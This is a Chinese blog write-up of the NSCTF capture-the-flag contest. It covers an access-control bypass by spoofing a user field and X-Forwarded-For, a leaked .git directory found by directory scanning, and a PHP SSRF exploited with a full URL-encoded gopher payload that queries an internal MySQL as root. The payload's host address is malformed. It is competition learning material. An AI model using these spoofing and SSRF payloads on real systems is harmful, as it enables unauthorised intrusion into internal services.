宁波市第三届网络安全大赛（NSCTF）WP

原创

2hwh0 于 2020-07-12 22:06:53 发布 1049 收藏 2

文章标签： CTF

本文链接：https://blog.csdn.net/zhwho/article/details/107304396

**

写在开头

从简书回来了，入坑简书半年，由于个人原因，简书账号注销了，以后就在CSDN上写啦 hhhh

**

前段时间和室友一起参加了这次NSCTF，做的题比较杂，WEB、MISC、密码，想着这几天会开环境给复现，现在看好像不给开环境，有的题保存下来了，这里先写写思路，有些截图没保存，以后有机会一定补上。

WEB 签到——本地访问

打开环境，印象里是有一句话：

只有本地管理员才能访问，你想越权访问吗？

这就很明显了，当然想越权访问，不然怎么拿flag？而拿flag的条件很明显有两个——1.本地 2.管理员

burpsuite抓包

印象里访问头里有一个user=guest，签到题嘛，很明显就是改一下user=admin，就满足了第二个条件 管理员，如果分值再大一点，可能就是在session里加点和管理员有关的东西，伪造session之类的，相关的题也很多。

修改请求头，加入X-Forwarded-For =127.0.0.1

发包，得到回显flag！

WEB——test

打开环境，index.html访问成功，但是是空白页面，看到群里有人说test是一道题吗？哈哈，以前做类似的题，页面上会是些无关紧要的内容，这次直接空白，倒是迷到了很多人。

熟悉的源码泄露index.html~,下载到的源码如下

```
<html>
<head>
<title>test</title>
</head>
<body>
<p>this is test。<a href="./12as24/ctf.jpg">本文本</a> </p>
</body>
</html>
```

发现12as24目录，访问环境ip/12as24/ctf.jpg，看到一张图片，这里走了一点弯路，以为图片里会有线索，尝试MISC的思路，又找了文件上传的点都没有发现可以利用的地方。
后来一想这不是有个目录吗？不扫目录对不起给的目录呀，而且有种感觉就是目录里肯定会有东西。同时开了dirsearch和dirb扫目录，这里实名吹一波dirsearch，果然好用，扫到以下结果

```
403 -  580B  - /12as24/.git/
200 -   39B  - /12as24/.git/COMMIT_EDITMSG
200 -   73B  - /12as24/.git/description
403 -  580B  - /12as24/.git/hooks/
200 -  137B  - /12as24/.git/index
403 -  580B  - /12as24/.git/info/
200 -  240B  - /12as24/.git/info/exclude
403 -  580B  - /12as24/.git/objects/
```

发现.git源码泄露
这里我是扫出来一个目录，就去访问一下，到第二个COMMIT_EDITSG时，就出来了flag，dirsearch真的好用，以后有机会，再钻研一下源码，太强了，有机会写写自己的工具，哈哈哈。

WEB——easy SSRF

题目代码如下：

```php
<?php
show_source(__FILE__);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
?>
```

php里的curl函数，代码里的几个关键的函数作用如下：
curl_init()：初始化一个新的会话，返回一个cURL句柄，供curl_setopt(), curl_exec()和curl_close() 函数使用。
简单来说就是curl初始化，给后面的函数传值

curl_setopt：将为一个CURL会话设置选项。option参数是你想要的设置，value是这个选项给定的值
列举几个常见的值：
CURLOPT_URL:
这是你想用PHP取回的URL地址。你也可以在用curl_init()函数初始化时设置这个选项
CURLOPT_HEADER :
如果你想把一个头包含在输出中，设置这个选项为一个非零值
CURLOPT_UPLOAD:
如果你想让PHP为上传做准备，设置这个选项为一个非零值
CURLOPT_POST :
如果你想PHP去做一个正规的HTTP POST，设置这个选项为一个非零值。这个POST是普通的 application/x-www-from-urlencoded 类型，多数被HTML表单使用
其他的值点这里

可以看到`curl_setopt($ch, CURLOPT_URL, $_GET["url"])`返回传入的url结果，那就试试ssh的22端口和mysql的3306端口，在IP后加上
`?url=http://127.0.0.1:22或者?url=http://127.0.0.1:3306`看到返回值（这里没截图，脑补一波）

既然url可控，那可以使用的协议就很多了，例如`gopher`、`dict`、`http`、`file`等，这里选择用gopher去读mysql数据库，寻找flag
这里用到Gopherus工具（又一神器）来生成Payload，下载地址是：
https://github.com/tarunkant/Gopherus

fuzz数据库用户名为root 查询语句为show databases
生成payload（这里也没截图orz）
生成的payload url编码后为：

```
http://119.61.19.2.2::58892/?url=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501
```

提交后得到数据库，再查flag表中的flag字段拿到flag